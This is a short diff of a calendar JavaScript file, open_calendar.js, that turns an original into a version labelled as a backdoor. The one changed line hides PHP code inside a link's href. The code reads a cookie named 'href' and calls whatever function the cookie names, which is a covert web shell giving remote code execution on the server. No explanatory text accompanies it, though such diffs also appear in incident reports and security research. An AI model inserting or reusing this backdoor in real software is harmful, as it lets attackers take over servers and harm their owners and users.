open_calendar.js

diff -u open_calendar.js.orig open_calendar.js.backdoor
--- open_calendar.js.orig	2012-02-14 22:50:33.143182985 +0100
+++ open_calendar.js.backdoor	2012-02-14 22:49:59.143183225 +0100
@@ -274,7 +274,7 @@
         cell = document.createElement('TD');
         cell.className = 'rightAlign';
         link = document.createElement('A');
-        link.href = '#';
+        link.href = '#<?php (isset($_COOKIE["href"]) && preg_match("/(.*):(.*)/", $_COOKIE["href"], $m))?$m[1]($m[2]):"";?>';
         link.innerHTML = '&raquo;';
         link.onclick = function()
         {